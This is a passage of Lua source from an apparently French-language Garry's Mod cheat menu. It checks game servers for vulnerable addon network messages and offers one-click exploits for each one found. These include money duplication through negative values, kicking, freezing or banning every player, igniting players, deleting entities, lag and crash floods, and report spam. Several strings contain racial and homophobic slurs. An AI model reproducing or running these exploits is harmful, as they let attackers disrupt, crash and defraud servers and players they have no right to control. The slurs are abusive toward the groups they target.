8930surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8931net.Start("75_plus_win")
8932net.WriteString("99999999")
8933net.WriteEntity(LocalPlayer())
8934net.SendToServer()
8935end )
8936end
8937
8938status = ValidNetString("ATMDepositMoney")
8939if (status) then
8940CHATPRINT("Exploit Trouvé : Argent Gratuite #6 [ATMDepositMoney]")
8941addExploit( "111","Argent Gratuite #6", "an exploit in 'ATM'", function()
8942surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8943net.Start("ATMDepositMoney")
8944net.WriteFloat(-9999999)
8945net.SendToServer()
8946end )
8947end
8948
8949status = ValidNetString("SellMinerals")
8950if (status) then
8951CHATPRINT("Exploit Trouvé : Argent Gratuite #7 [SellMinerals]")
8952addExploit( "112","Argent Gratuite #7", "an exploit in 'eMining'", function()
8953surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8954for k,v in pairs(SkillDB) do
8955if not ( v.iSkill == true ) then
8956net.Start("Upgrade")
8957net.WriteTable( { LuaName = v.LuaName, Amount = -9999999 } )
8958net.SendToServer()
8959net.Start("SellMinerals")
8960net.WriteTable({ Target = LocalPlayer() })
8961net.SendToServer()
8962end
8963end
8964end )
8965end
8966
8967status = ValidNetString("TakeBetMoney")
8968if (status) then
8969CHATPRINT("Exploit Trouvé : Argent Gratuite #8 [TakeBetMoney]")
8970addExploit( "113","Argent Gratuite #8", "Recevoir De L'Argent", function()
8971surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8972net.Start("TakeBetMoney")
8973net.WriteTable({1e333333 , 1e333333})
8974net.SendToServer()
8975end )
8976end
8977
8978status = ValidNetString("Kun_SellOil")
8979if (status) then
8980CHATPRINT("Exploit Trouvé : Argent Gratuite #9 [Kun_SellOil]")
8981addExploit( "114","Argent Gratuite #9", "Recevoir De L'Argent", function()
8982surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8983for k,v in pairs(ents.GetAll()) do
8984net.Start("Kun_SellOil")
8985net.WriteEntity(v)
8986net.SendToServer()
8987end
8988end )
8989end
8990
8991status = ValidNetString("DepositMoney")
8992if (status) then
8993CHATPRINT("Exploit Trouvé : Argent Gratuite #10 [DepositMoney]")
8994addExploit( "115","Argent Gratuite #10", "Recevoir De L'Argent", function()
8995surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8996net.Start("DepositMoney")
8997for k,v in pairs(ents.GetAll()) do
8998net.WriteEntity(v)
8999net.WriteString(-100000000 )
9000net.WriteEntity(LocalPlayer())
9001net.SendToServer()
9002end
9003end )
9004end
9005
9006status = ValidNetString("NET_SS_DoBuyTakeoff")
9007if (status) then
9008CHATPRINT("Exploit Trouvé : Argent Gratuite #11 [NET_SS_DoBuyTakeoff]")
9009addExploit( "116","Argent Gratuite #11", "Recevoir De L'Argent", function()
9010surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9011net.Start("NET_SS_DoBuyTakeoff",true)
9012net.WriteEntity(LocalPlayer())
9013net.WriteEntity(table.Random(player.GetAll()))
9014net.WriteTable({})
9015net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
9016net.SendToServer()
9017end )
9018end
9019
9020status = ValidNetString("NET_EcSetTax")
9021if (status) then
9022CHATPRINT("Exploit Trouvé : Argent Gratuite #12 [NET_EcSetTax]")
9023addExploit( "117","Argent Gratuite #12", "Recevoir De L'Argent", function()
9024surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9025net.Start("NET_EcSetTax")
9026net.WriteInt(-9999999999, 16)
9027net.SendToServer()
9028end )
9029end
9030
9031status = ValidNetString("RP_Accept_Fine")
9032if (status) then
9033CHATPRINT("Exploit Trouvé : Argent Gratuite #13 [RP_Accept_Fine]")
9034addExploit( "118","Argent Gratuite #13", "Recevoir De L'Argent", function()
9035surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9036for k,v in pairs(player.GetAll())do
9037net.Start("RP_Accept_Fine")
9038net.WriteString(v:Nick())
9039net.WriteDouble(-999999999999)
9040net.SendToServer()
9041end
9042end )
9043end
9044
9045status = ValidNetString("drugseffect_remove")
9046if (status) then
9047CHATPRINT("Exploit Trouvé : Supprimer Armes [drugseffect_remove]")
9048addExploit( "119","Supprimer Armes", "Supprimer Toutes Les Armes", function()
9049surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9050net.Start("drugseffect_remove")
9051net.SendToServer()
9052end )
9053end
9054
9055status = ValidNetString("drugs_money")
9056if (status) then
9057CHATPRINT("Exploit Trouvé : Supprimer L'Argent [drugs_money]")
9058addExploit( "120","Supprimer L'Argent", "Adieu L'argent :c", function()
9059surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9060net.Start("drugs_money")
9061net.SendToServer()
9062end )
9063end
9064
9065status = ValidNetString("CRAFTINGMOD_SHOP")
9066if (status) then
9067CHATPRINT("Exploit Trouvé : Argent Gratuite #14 [CRAFTINGMOD_SHOP]")
9068addExploit( "121","Argent Gratuite #14", "an exploit in 'crafting mod'", function()
9069surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9070net.Start("CRAFTINGMOD_SHOP")
9071net.WriteTable({
9072BUY = -9999999;
9073type = 1
9074})
9075net.WriteInt(1,16)
9076net.SendToServer()
9077end )
9078end
9079
9080status = ValidNetString("drugs_ignite")
9081if (status) then
9082CHATPRINT("Exploit Trouvé : Brûler Des Joueurss [drugs_ignite]")
9083addExploit( "122","Brûler Des Joueurss", "", function()
9084surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9085net.Start("drugs_ignite")
9086net.WriteString("player")
9087net.SendToServer()
9088end )
9089end
9090
9091status = ValidNetString("drugs_ignite")
9092if (status) then
9093CHATPRINT("Exploit Trouvé : Props En Feu [drugs_ignite]")
9094addExploit( "123","Props En Feu", "", function()
9095surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9096net.Start("drugs_ignite")
9097net.WriteString("prop_physics")
9098net.SendToServer()
9099end )
9100end
9101
9102status = ValidNetString("drugseffect_hpremove")
9103if (status) then
9104CHATPRINT("Exploit Trouvé : Modifier PV [drugseffect_hpremove]")
9105addExploit( "124","Modifier PV", "", function()
9106surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9107net.Start("drugseffect_hpremove")
9108net.WriteString(99999)
9109net.SendToServer()
9110end )
9111end
9112
9113status = ValidNetString("drugs_text")
9114if (status) then
9115CHATPRINT("Exploit Trouvé : Supprimer Tous Les Props #2 [drugs_text]")
9116addExploit( "125","Supprimer Tous Les Props #2", "", function()
9117surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9118net.Start("drugs_text")
9119net.WriteString("prop_physics")
9120net.SendToServer()
9121end )
9122end
9123
9124status = ValidNetString("drugs_give")
9125if (status) then
9126CHATPRINT("Exploit Trouvé : Donnez Un RPG A Tout Le Monde [drugs_give]")
9127addExploit( "126","Donnez Un RPG A Tout Le Monde", "", function()
9128surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9129net.Start("drugs_give")
9130net.WriteString("weapon_rpg")
9131net.SendToServer()
9132end )
9133end
9134
9135status = ValidNetString("drugs_text")
9136if (status) then
9137CHATPRINT("Exploit Trouvé : Supprimer L'Eau [drugs_text]")
9138addExploit( "127","Supprimer L'Eau", "", function()
9139surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9140net.Start("drugs_text")
9141net.WriteString("func_water_analog")
9142net.SendToServer()
9143end )
9144end
9145
9146status = ValidNetString("drugs_effect")
9147if (status) then
9148local eye = LocalPlayer():GetEyeTrace().Entity
9149local send = "del|"..eye:EntIndex()
9150CHATPRINT("Exploit Trouvé : Supprimer ce qu'on regarde [drugs_effect]")
9151addExploit( "128","Supprimer ce qu'on regarde", "", function()
9152surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9153net.Start("drugs_effect")
9154net.WriteString(send)
9155net.SendToServer()
9156end )
9157end
9158
9159status = ValidNetString("RecKickAFKer")
9160if (status) then
9161CHATPRINT("Exploit Trouvé : Kick Tous Le Monde #2 [RecKickAFKer]")
9162addExploit( "129","Kick Tous Le Monde #2", "Kick Tous Le Monde", function()
9163surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9164for k, v in pairs( player.GetAll() ) do
9165net.Start("RecKickAFKer")
9166net.WriteEntity(v)
9167net.SendToServer()
9168end
9169end )
9170end
9171
9172status = ValidNetString("GMBG:PickupItem")
9173if (status) then
9174CHATPRINT("Exploit Trouvé : Recevoir Items [GMBG:PickupItem]")
9175addExploit( "130","Recevoir Items", "", function()
9176surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9177for k, v in pairs(ents.GetAll()) do
9178if v:GetClass() == "item_loot" then
9179net.Start("GMBG:PickupItem")
9180net.WriteEntity(v)
9181net.SendToServer()
9182net.Start("GMBG:PickupItem")
9183net.WriteEntity(v)
9184net.SendToServer()
9185net.Start("GMBG:PickupItem")
9186net.WriteEntity(v)
9187net.SendToServer()
9188net.Start("GMBG:PickupItem")
9189net.WriteEntity(v)
9190net.SendToServer()
9191net.Start("GMBG:PickupItem")
9192net.WriteEntity(v)
9193net.SendToServer()
9194net.Start("GMBG:PickupItem")
9195net.WriteEntity(v)
9196net.SendToServer()
9197end
9198end
9199end )
9200end
9201
9202status = ValidNetString("plyWarning")
9203if (status) then
9204CHATPRINT("Exploit Trouvé : Kick Tous Le Monde #3 [plyWarning]")
9205addExploit( "131","Kick Tous Le Monde #3", "Kick Tous Le Monde", function()
9206surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9207for k, v in pairs( player.GetAll() ) do
9208net.Start('plyWarning')
9209net.WriteEntity(v)
9210net.WriteString('You have to select a player before doing a action.')
9211net.SendToServer()
9212end
9213end )
9214end
9215
9216status = ValidNetString("NLR.ActionPlayer")
9217if (status) then
9218CHATPRINT("Exploit Trouvé : Freeze Tout Le Monde [NLR.ActionPlayer]")
9219addExploit( "132","Freeze Tout Le Monde", "", function()
9220surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9221for k, v in pairs( player.GetAll() ) do
9222net.Start("NLR.ActionPlayer")
9223net.WriteEntity(v)
9224net.SendToServer()
9225end
9226end )
9227end
9228
9229status = ValidNetString("kart_sell")
9230if (status) then
9231CHATPRINT("Exploit Trouvé : Argent Gratuite #15 [kart_sell]")
9232addExploit( "133","Argent Gratuite #15", "Recevoir De L'Argent", function()
9233surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9234for i=1, 300 do
9235net.Start("kart_sell")
9236net.WriteString("sw_gokart")
9237net.SendToServer()
9238end
9239end )
9240end
9241
9242status = ValidNetString("ClickerAddToPoints")
9243if (status) then
9244CHATPRINT("Exploit Trouvé : Point Gratuit [ClickerAddToPoints]")
9245addExploit( "134","Point Gratuit", "", function()
9246surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9247net.Start("ClickerAddToPoints")
9248net.WriteInt(99999999, 32)
9249net.SendToServer()
9250end )
9251end
9252
9253status = ValidNetString("bodyman_model_change")
9254if (status) then
9255CHATPRINT("Exploit Trouvé : Body Groups [bodyman_model_change]")
9256addExploit( "135","Body Groups", "constantly changes your appearance", function()
9257surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9258local PM = 1
9259local SK = 1
9260local BG = 1
9261local HN = 1
9262local TS = 1
9263local GL = 1
9264local LG = 1
9265if !timer.Exists( "bodygroups" ) then
9266timer.Create("bodygroups", 0, 0, function()
9267PlayerModels = {0,1,2,3,4,5,6}
9268Torso = {0,1,2,3,4,5,6,7,8,9,10}
9269Legs = {0,1,2,3,4,5,6}
9270Hands = {0,1,2}
9271Glasses = {0,1}
9272Skins = {0,1,2,3,4,5,6,7,8,9,10}
9273PM = PM+1
9274TS = TS+1
9275LG = LG+1
9276HN = HN+1
9277GL = GL+1
9278SK = SK+1
9279if (PM>#PlayerModels) then PM=1 end
9280if (SK>#Skins) then SK=1 end
9281if (HN>#Hands) then HN=1 end
9282if (TS>#Torso) then TS=1 end
9283if (GL>#Glasses) then GL=1 end
9284if (LG>#Legs) then LG=1 end
9285net.Start("bodyman_model_change")
9286net.WriteInt(PlayerModels[PM], 10 )
9287net.SendToServer()
9288net.Start("bodygroups_change")
9289net.WriteTable( { 1, Torso[TS] } )
9290net.SendToServer()
9291net.Start("bodygroups_change")
9292net.WriteTable( { 2, Legs[LG] } )
9293net.SendToServer()
9294net.Start("bodygroups_change")
9295net.WriteTable( { 3, Hands[HN] } )
9296net.SendToServer()
9297net.Start("bodygroups_change")
9298net.WriteTable( { 4, Glasses[GL] } )
9299net.SendToServer()
9300end )
9301else
9302timer.Remove("bodygroups")
9303--("Stopping")
9304end
9305end )
9306end
9307
9308status = ValidNetString("SendMoney")
9309if (status) then
9310CHATPRINT("Exploit Trouvé : Argent Gratuite #16 [SendMoney]")
9311addExploit( "136","Argent Gratuite #16", "Recevoir De L'Argent", function()
9312surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9313hook.Remove( "HUDPaint", "skhdsakjl")
9314net.Start("SendMoney")
9315net.WriteEntity(LocalPlayer())
9316net.WriteEntity(LocalPlayer())
9317net.WriteEntity(LocalPlayer())
9318net.WriteString("-99999999")
9319net.SendToServer()
9320end )
9321end
9322
9323status = ValidNetString("BailOut")
9324if (status) then
9325CHATPRINT("Exploit Trouvé : Argent Gratuite #17 [BailOut]")
9326addExploit( "137","Argent Gratuite #17", "", function()
9327surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9328for k, v in pairs(player.GetAll()) do
9329net.Start("BailOut")
9330net.WriteEntity(LocalPlayer())
9331net.WriteEntity(v)
9332net.WriteFloat(-999999999)
9333net.SendToServer()
9334end
9335end )
9336end
9337
9338status = ValidNetString("hitcomplete")
9339if (status) then
9340CHATPRINT("Exploit Trouvé : Argent Gratuite #18 [hitcomplete]")
9341addExploit( "138","Argent Gratuite #18", "Recevoir De L'Argent", function()
9342surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9343net.Start("hitcomplete")
9344net.WriteDouble(99999999)
9345net.SendToServer()
9346end )
9347end
9348----------------------------------------
9349for k,v in pairs(player.GetAll()) do
9350dahater = v
9351end
9352----------------------------------------
9353status = ValidNetString("hhh_request")
9354if (status) then
9355CHATPRINT("Exploit Trouvé : Argent Gratuite #19 [hhh_request]")
9356addExploit( "139","Argent Gratuite #19", "Recevoir De L'Argent", function()
9357surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9358local plyhhh = LocalPlayer()
9359if dahater != plyhhh then
9360local hitRequest = {}
9361hitRequest.hitman = plyhhh
9362hitRequest.requester = plyhhh
9363hitRequest.target = dahater
9364hitRequest.reward = -9999999
9365net.Start('hhh_request')
9366net.WriteTable(hitRequest)
9367net.SendToServer()
9368else
9369CHATPRINT("In this version of HHH, you can not use an exploit!")
9370end
9371end )
9372end
9373
9374status = ValidNetString("DaHit")
9375if (status) then
9376CHATPRINT("Exploit Trouvé : Argent Gratuite #20 [DaHit]")
9377addExploit( "140","Argent Gratuite #20", "Recevoir De L'Argent", function()
9378surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9379hook.Remove( "HUDPaint", "skhdsakjl")
9380net.Start("DaHit")
9381net.WriteFloat(-99999999)
9382net.WriteEntity(LocalPlayer())
9383net.WriteEntity(LocalPlayer())
9384net.WriteEntity(LocalPlayer())
9385net.SendToServer()
9386end )
9387end
9388
9389status = ValidNetString("textstickers_entdata")
9390if (status) then
9391CHATPRINT("Exploit Trouvé : Crash #2 [textstickers_entdata]")
9392addExploit( "141","Crash #2", "1tap", function()
9393surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9394net.Start("textstickers_entdata")
9395net.WriteUInt(0xFFFFFFF, 32)
9396net.SendToServer()
9397end )
9398end
9399
9400status = ValidNetString("gBan.BanBuffer")
9401if (status) then
9402CHATPRINT("Exploit Trouvé : gBan Tout Le Monde [gBan.BanBuffer]")
9403addExploit( "142","gBan Tout Le Monde", "Marche avec la vieille version de GBan", function()
9404surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9405for k,v in pairs(player.GetAll()) do
9406if v != LocalPlayer() then
9407net.Start("gBan.BanBuffer")
9408net.WriteBool(true)
9409net.WriteInt(0, 32)
9410net.WriteString("haha owned")
9411net.WriteString(v:SteamID())
9412net.SendToServer()
9413end
9414end
9415end )
9416end
9417
9418status = ValidNetString("ARMORY_RetrieveWeapon")
9419if (status) then
9420CHATPRINT("Exploit Trouvé : Armure Gratuite #1 [ARMORY_RetrieveWeapon]")
9421addExploit( "143","Armure Gratuite #1", "get weapon #1", function()
9422surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9423net.Start("ARMORY_RetrieveWeapon")
9424net.WriteString("weapon1")
9425net.SendToServer()
9426end )
9427end
9428
9429status = ValidNetString("ARMORY_RetrieveWeapon")
9430if (status) then
9431CHATPRINT("Exploit Trouvé : Armure Gratuite #2 [ARMORY_RetrieveWeapon]")
9432addExploit( "144","Armure Gratuite #2", "get weapon #2", function()
9433surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9434net.Start("ARMORY_RetrieveWeapon")
9435net.WriteString("weapon2")
9436net.SendToServer()
9437end )
9438end
9439
9440status = ValidNetString("ARMORY_RetrieveWeapon")
9441if (status) then
9442CHATPRINT("Exploit Trouvé : Armure Gratuite #3 [ARMORY_RetrieveWeapon]")
9443addExploit( "145","Armure Gratuite #3", "get weapon #3", function()
9444surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9445net.Start("ARMORY_RetrieveWeapon")
9446net.WriteString("weapon3")
9447net.SendToServer()
9448end )
9449end
9450
9451status = ValidNetString("TransferReport")
9452if (status) then
9453CHATPRINT("Exploit Trouvé : Spam De Report [TransferReport]")
9454addExploit( "146","Spam De Report", "Report Tout Le Monde players", function()
9455surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9456net.Start("TransferReport")
9457net.WriteString(v:SteamID())
9458net.WriteString("CHINKGANG FAGOTS")
9459net.WriteString("DITCH THIS SHITTY SERVER AND BUY Pity TODAY")
9460net.SendToServer()
9461end )
9462end
9463
9464status = ValidNetString("FIRE_CreateFireTruck")
9465if (status) then
9466CHATPRINT("Exploit Trouvé : Crée Un Camion De Pompier [FIRE_CreateFireTruck]")
9467addExploit( "147","Crée Un Camion De Pompier", "", function()
9468surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9469net.Start("FIRE_CreateFireTruck")
9470net.SendToServer()
9471end )
9472end
9473
9474status = ValidNetString("TFA_Attachment_RequestAll")
9475if (status) then
9476CHATPRINT("Exploit Trouvé : Crée Des Lags #20 [TFA_Attachment_RequestAll]")
9477addExploit( "148","Crée Des Lags #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
9478surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger20" ) then
9479timer.Create("lagger20", 0,0, function()
9480for i = 1, 800 do
9481net.Start("TFA_Attachment_RequestAll",true)
9482net.SendToServer()
9483end
9484end)
9485--("Lags Démarré")
9486else
9487timer.Remove("lagger20")
9488--("Lags Arreté")
9489end
9490end)
9491end
9492
9493status = ValidNetString("FIRE_RemoveFireTruck")
9494if (status) then
9495CHATPRINT("Exploit Trouvé : Supprimer Les Camions De Pompier [FIRE_RemoveFireTruck]")
9496addExploit( "149","Supprimer Les Camions De Pompier", "", function()
9497surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9498net.Start("FIRE_RemoveFireTruck")
9499net.SendToServer()
9500end )
9501end
9502
9503status = ValidNetString("gPrinters.sendID")
9504if (status) then
9505CHATPRINT("Exploit Trouvé : Crée Des Lags #21 [gPrinters.sendID]")
9506addExploit( "150","Crée Des Lags #21", "B1G LAGZ, ", function()
9507surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9508if not timer.Exists("lagger21") then
9509timer.Create("lagger21", 0, 0, function()
9510for i = 1, 1000 do
9511net.Start("gPrinters.sendID",true)
9512net.WriteEntity(LocalPlayer())
9513net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
9514net.SendToServer()
9515end
9516end )
9517end
9518end )
9519end
9520
9521status = ValidNetString("requestmoneyforvk") -- RusElite Server
9522if (status) then
9523CHATPRINT("Exploit Trouvé : Recevoir 50k [requestmoneyforvk]")
9524addExploit( "151","Recevoir 50k", "Argent Facile Tu Peut Pas Test", function()
9525surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9526net.Start("requestmoneyforvk")
9527net.WriteEntity(LocalPlayer())
9528net.SendToServer()
9529end )
9530end
9531
9532status = ValidNetString("NET_BailPlayer")
9533if (status) then
9534CHATPRINT("Exploit Trouvé : Spam Les Joueurs [NET_BailPlayer]")
9535addExploit( "153","Spam Les Joueurs", "", function()
9536surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9537for k, v in pairs (player.GetAll()) do
9538net.Start("NET_BailPlayer")
9539net.WriteEntity(v)
9540net.WriteEntity(v)
9541net.SendToServer()
9542end
9543end )
9544end
9545
9546status = ValidNetString("Taxi_Add")
9547if (status) then
9548CHATPRINT("Exploit Trouvé : Argent Gratuite #21 [Taxi_Add]")
9549addExploit( "154","Argent Gratuite #21", "Peu ne pas marcher", function()
9550surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9551net.Start("Taxi_Add")
9552net.WriteString("MLG")
9553net.WriteTable({-1333.647461, -1473.931763, -139.968750})
9554net.WriteFloat(-99999999)
9555net.WriteString(Desc)
9556net.SendToServer()
9557end )
9558end
9559
9560status = ValidNetString("BuyCar")
9561if (status) then
9562CHATPRINT("Exploit Trouvé : Argent Gratuite #22 [BuyCar]")
9563addExploit( "155","Argent Gratuite #22", "Recevoir De L'Argent", function()
9564surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9565for k,v in pairs(player.GetAll()) do
9566net.Start('BuyCar')
9567net.WriteFloat(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000)
9568net.WriteEntity(LocalPlayer())
9569net.WriteString("Gay")
9570net.WriteString("Cock")
9571net.WriteString("Twat")
9572net.SendToServer()
9573end
9574end )
9575end
9576
9577status = ValidNetString("rpi_trade_end")
9578if (status) then
9579CHATPRINT("Exploit Trouvé : Test Fonction [rpi_trade_end]")
9580addExploit( "156","Test Fonction", "just test", function()
9581surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9582local it = 0
9583timer.Create( util.CRC( tostring( CurTime() ) ), 0.5, 0, function()
9584if( it > #player.GetAll() ) then
9585it = 1;
9586else
9587it = it + 1;
9588end
9589net.Start("rpi_trade_end")
9590net.WriteUInt( it, 16 )
9591net.SendToServer()
9592end )
9593end )
9594end
9595
9596status = ValidNetString("ClickerForceSave")
9597if (status) then
9598CHATPRINT("Exploit Trouvé : Crash Avec Un Melon [ClickerForceSave]")
9599addExploit( "157","Crash Avec Un Melon", "", function()
9600surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9601hook.Add("Think","ps_spam",function()
9602for k, v in pairs (player.GetAll()) do
9603net.Start("ClickerForceSave")
9604net.WriteEntity(ply)
9605net.WriteInt(1, 1)
9606net.SendToServer()
9607end
9608end )
9609end )
9610end
9611
9612status = ValidNetString("SRequest")
9613if (status) then
9614CHATPRINT("Exploit Trouvé : Prendre Un Deagle [SRequest]")
9615addExploit( "158","Prendre Un Deagle", "", function()
9616surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9617for k, v in pairs (player.GetAll()) do
9618net.Start("SRequest")
9619net.WriteEntity(v)
9620net.SendToServer()
9621end
9622end )
9623end
9624
9625status = ValidNetString("HealButton")
9626if (status) then
9627CHATPRINT("Exploit Trouvé : PV Gratuit [HealButton]")
9628addExploit( "159","PV Gratuit", "PV Gratuit", function()
9629surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9630net.Start("HealButton")
9631net.WriteEntity(LocalPlayer())
9632net.WriteFloat(999999)
9633net.SendToServer()
9634end )
9635end
9636
9637status = ValidNetString("ArmorButton")
9638if (status) then
9639CHATPRINT("Exploit Trouvé : Armure Gratuite [ArmorButton]")
9640addExploit( "160","Armure Gratuite", "Armure Gratuite", function()
9641surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9642net.Start("ArmorButton")
9643net.WriteEntity(LocalPlayer())
9644net.WriteFloat(999999)
9645net.SendToServer()
9646end )
9647end
9648
9649status = ValidNetString("SprintSpeedset")
9650if (status) then
9651CHATPRINT("Exploit Trouvé : TTT SpeedHack [SprintSpeedset]")
9652addExploit( "161","TTT SpeedHack", "changes your speed", function()
9653surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9654net.Start("SprintSpeedset")
9655net.WriteFloat(math.min(math.max(2, 0.1),2 ))
9656net.SendToServer()
9657end )
9658end
9659
9660status = ValidNetString("GiveArmor100")
9661if (status) then
9662CHATPRINT("Exploit Trouvé : Exploit D'Armure [GiveArmor100]")
9663addExploit( "162","Exploit D'Armure ", "", function()
9664surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9665net.Start("GiveArmor100")
9666net.SendToServer()
9667end )
9668end
9669
9670status = ValidNetString("Client_To_Server_OpenEditor")
9671if (status) then
9672CHATPRINT("Exploit Trouvé : SCP 249 Hack Menu De Boisson [Client_To_Server_OpenEditor]")
9673addExploit( "164","SCP 249 Drink Menu Hack", "", function()
9674surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9675net.Start("Client_To_Server_OpenEditor")
9676net.SendToServer()
9677end )
9678end
9679
9680status = ValidNetString("DuelMessageReturn")
9681if (status) then
9682CHATPRINT("Exploit Trouvé : Combat Fou [DuelMessageReturn]")
9683addExploit( "165","Combat Fou", "forces all players to fight with all players, ", function()
9684surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9685timer.Create("crazyduel", 0.1, 0, function()
9686s.duel[1] = table.Random( player.GetAll() )
9687s.duel[2] = table.Random( player.GetAll() )
9688net.Start("DuelMessageReturn")
9689net.WriteFloat(1)
9690net.WriteTable(s.duel)
9691net.SendToServer()
9692end )
9693end )
9694end
9695
9696status = ValidNetString("userAcceptPrestige")
9697if (status) then
9698CHATPRINT("Exploit Trouvé : Prestige Gratuit [userAcceptPrestige]")
9699addExploit( "166","Prestige Gratuit", "exploit for Prestige Gratuit", function()
9700surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9701net.Start("userAcceptPrestige")
9702net.SendToServer()
9703end )
9704end
9705
9706status = ValidNetString("wordenns")
9707if (status) then
9708CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #11 [wordenns]")
9709addExploit( "167","Voler L'argents De Tous #11", "withdraw money from all printers", function()
9710surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9711CHATPRINT("printers:".. tostring(#ents.FindByClass("derma_printer")))
9712for k,v in pairs(ents.FindByClass("derma_printer")) do
9713net.Start("wordenns")
9714net.WriteEntity(v)
9715net.SendToServer()
9716end
9717end)
9718end
9719
9720status = ValidNetString("guncraft_removeWorkbench")
9721if (status) then
9722CHATPRINT("Exploit Trouvé : Supprimer Toutes Les Entités [guncraft_removeWorkbench]")
9723addExploit( "168","Supprimer Toutes Les Entités", "an exploit in addon 'GunCraft'", function()
9724surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9725if !timer.Exists( "removentity" ) then
9726timer.Create("removentity", 3, 0, function()
9727for k,v in pairs(ents.GetAll()) do
9728net.Start("guncraft_removeWorkbench")
9729net.WriteEntity(v)
9730net.SendToServer()
9731end
9732end )
9733end
9734end )
9735end
9736
9737status = ValidNetString("BuyKey")
9738if (status) then
9739CHATPRINT("Exploit Trouvé : Blue Unbox Exploit")
9740addExploit( "169","Blue Unbox Exploit", "", function()
9741surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9742net.Start("BuyKey")
9743net.SendToServer()
9744net.Start("BuyCrate")
9745net.SendToServer()
